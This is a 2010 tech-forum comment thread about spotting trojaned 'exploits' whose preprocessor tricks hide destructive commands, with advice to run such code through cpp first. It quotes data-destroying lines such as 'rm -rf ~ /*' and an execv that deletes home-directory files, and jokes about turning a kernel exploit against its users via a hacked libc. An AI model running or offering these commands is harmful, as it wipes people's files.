News for hackers. Stuff that matters.
Re:Hole in Linux kernel provides root rights by viraptor on Sunday September 19, 2010 @08:13PM (#1707294)
I try to. Most of the time if you see a #define that is not a simple constant in an exploit, it should be at least preprocessed... There are a lot of "ssh exploits" that are really `rm -rf /` wrappers with some interesting preprocessor abuse.
Re:Hole in Linux kernel provides root rights by jacquesm on Sunday September 19, 2010 @08:21PM (#1707310)
That's what I do, I run it through cpp first and read the code from where the include files end, just to make sure someone isn't social engineering me into doing something stupid.

In case anybody wants to read the code preprocessed it's here:

http://ww.com/robert_you_suck.txt

Now of course you have to assume I'm telling you the truth, but that's easy enough to verify.

Paranoia has no limits ;)

Re:Hole in Linux kernel provides root rights by viraptor on Sunday September 19, 2010 @08:33PM (#1707333)
My faviourite is probably the last openssh 0day "exploit": http://antihackerlink.or.id/0day-for-openssh-0pen0wn-is-spre...

See what happens with the "fremote(jmpcode)" function in 'main()'.

Re:Hole in Linux kernel provides root rights by jacquesm on Sunday September 19, 2010 @08:37PM (#1707340)
nasty:

rm -rf ~ /* 2> /dev/null &;

Re:Hole in Linux kernel provides root rights by nodata on Monday September 20, 2010 @04:54AM (#1708238)
> I run it through cpp first

Any particular switches you use?

Re:Hole in Linux kernel provides root rights by jacquesm on Monday September 20, 2010 @08:02AM (#1708472)
No, just cpp file.c > out.txt
Re:Hole in Linux kernel provides root rights by jrockway on Monday September 20, 2010 @06:22AM (#1708326)
In this case, an evil system administrator could change the text of /proc/kallsyms (probably via a hacked libc and LD_PRELOAD, or just the hacked libc) and then execute arbitrary code as you, because the exploit code uses an unchecked write into a stack variable (and who compiles their exploit code with a stack protector).

I am almost tempted to do this, use the exploit to get root on my work machines, and then replace the libc... just to see if anyone else tries the exploit. (Note to the literal: not really.)

execv("/bin/sh -c 'for i in `find $HOME`; do echo "rm -f $i"; done', 0);

Re:Hole in Linux kernel provides root rights by jacquesm on Monday September 20, 2010 @08:00AM (#1708467)
Hehe, that's a funny way to reverse an attack.

I don't think that sysadmin would qualify as 'evil' though.

It'd be even more fun if they had gotten to it before you and you ended up wiping your own files like that ;)